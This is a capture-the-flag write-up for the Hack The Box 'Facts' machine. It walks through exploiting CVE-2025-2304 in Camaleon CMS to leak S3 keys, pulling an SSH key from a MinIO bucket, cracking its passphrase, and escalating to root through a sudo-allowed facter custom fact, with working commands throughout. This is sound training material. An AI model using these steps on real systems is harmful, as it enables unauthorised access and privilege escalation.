Facts WriteUp

Facts is a 🟩 Easy difficulty machine on Hack The Box. It chains the exploitation of a web CMS with a credential leak into a MinIO S3-compatible storage server, from which we extract a password-protected SSH private key. Privilege escalation is achieved by abusing a binary allowed via sudo.

🗺️ Attack Chain

Nmap → Port 80 (CamaleonCMS 2.9.0) + Port 54321 (MinIO)
      │
      ▼
CVE-2025-2304 → Privilege Escalation + S3 Config Leak
      │
      ▼
MinIO Credentials → Bucket "internal"
      │
      ▼
.ssh/id_ed25519 (encrypted private key)
      │
      ▼
ssh2john + john → passphrase: dragonballz → user: trivia
      │
      ▼
sudo /usr/bin/facter → custom fact (.rb) → /bin/bash as root 🏴

🔍 Reconnaissance

Port Scanning

We perform reconnaissance in two phases: fast discovery followed by version detection on the found ports.

Add facts.htb to /etc/hosts:

echo "10.129.21.92 facts.htb" | sudo tee -a /etc/hosts

Phase 1, Fast TCP port discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv facts.htb

Phase 2, Version detection and scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv facts.htb

Relevant ports found:

💡 Note on TCP/54321: Nmap identifies the server as MinIO via the X-Amz-* response headers. We set it aside for now and start with port 80.

🌐 Port 80, CamaleonCMS

We land on a blog where the administrator posts fun facts. We fuzz for directories:

gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

admin   (Status: 302) [--> http://facts.htb/admin/login]
robots  (Status: 200)
search  (Status: 200)
...

At /admin/login we can register an account. Once inside the panel, we see it runs Camaleon CMS v2.9.0.

⚠️ We tested SQLi and XSS in the search field and comments, neither is exploitable. The admin panel is the attack vector.

CVE-2025-2304, Privilege Escalation + S3 Config Leak

A quick search leads us to CVE-2025-2304 , an authenticated privilege escalation vulnerability in Camaleon CMS 2.9.0 that also leaks the S3 storage credentials configured in the CMS.

We use the public PoC :

python exploit.py -u http://facts.htb -U username -P password -e

[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIA0BFEDFE75637E79F
   s3 secret key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
   s3 endpoint: http://localhost:54321
[+]Reverting User Role

🎯 S3 credentials obtained. The endpoint points to the MinIO server we saw on port 54321, confirming the CMS uses MinIO as its storage backend.

🪣 Port 54321, MinIO (S3 API)

What is MinIO?

🧠 Concept: S3 (Simple Storage Service) is an object storage system with an API the industry has adopted as a de facto standard (AWS, GCP, Azure). A bucket is the root container where objects are stored, the structure is flat, there are no real subdirectories, and the path is part of the object’s key (name). MinIO is an open-source, self-hostable implementation fully compatible with the S3 API.

We configure a profile in the aws CLI using the obtained credentials:

aws configure --profile facts
# AWS Access Key ID:     AKIA0BFEDFE75637E79F
# AWS Secret Access Key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
# Default region name:   us-east-1
# Default output format: json

Bucket Enumeration

aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts

2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

The randomfacts bucket only contains blog images. We focus on internal:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive | grep -v ".bundle"

2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 20:01:43          0 .cache/motd.legal-displayed
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile
2026-04-05 09:40:42         82 .ssh/authorized_keys
2026-04-05 09:40:42        464 .ssh/id_ed25519

⚠️ The internal bucket looks like a user’s home directory, it contains .bashrc, .profile, and most importantly: an SSH private key.

Downloading the Private Key

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_facts --profile facts

🔑 SSH Private Key, User Identification and Cracking

The key is passphrase-protected. Before cracking it, we verify that the private key matches the public key in authorized_keys by comparing their fingerprints:

# Private key fingerprint (will fail on passphrase but shows fingerprint)
ssh user@facts.htb -i id_facts -v 2>&1 | grep "SHA256"
# debug1: Will attempt key: id_facts ED25519 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY explicit

# Public key fingerprint from authorized_keys
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys --profile facts
ssh-keygen -l -f authorized_keys
# 256 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY no comment (ED25519)

✅ Fingerprints match, the private key works for the user who owns that authorized_keys.

Cracking the Passphrase

We convert the key from ssh format to a john-compatible hash:

ssh2john id_facts > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

dragonballz      (id_facts)     
1g 0:00:01:41 DONE

User Identification

With the passphrase we can extract the public key, which includes the comment with the username:

chmod 600 id_facts
ssh-keygen -y -f id_facts # dragonballz
# ssh-ed25519 AAAAC3...ohxpLN trivia@facts.htb

🎯 User identified: trivia

💉 Initial Access

ssh trivia@facts.htb -i id_facts # dragonballz

🚩 User Flag

cat /home/william/user.txt

🧗 Privilege Escalation

First thing after getting in, we check sudo permissions:

sudo -l

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter is a system data collection tool written in Ruby, typically used by Puppet. It accepts a custom facts directory via the --custom-dir flag, .rb files that define how to compute a new fact.

We abuse this by providing a custom fact that instead launches /bin/bash:

mkdir /tmp/exploit
echo "Facter.add(:shell) do setcode do system('/bin/bash') end end" > /tmp/exploit/shell.rb
sudo /usr/bin/facter --custom-dir=/tmp/exploit

root@facts:/tmp/exploit#

✅ Root shell obtained by abusing a facter custom fact.

🏴 Root Flag

cat /root/root.txt

📝 Attack Chain Summary

See you in the next challenge.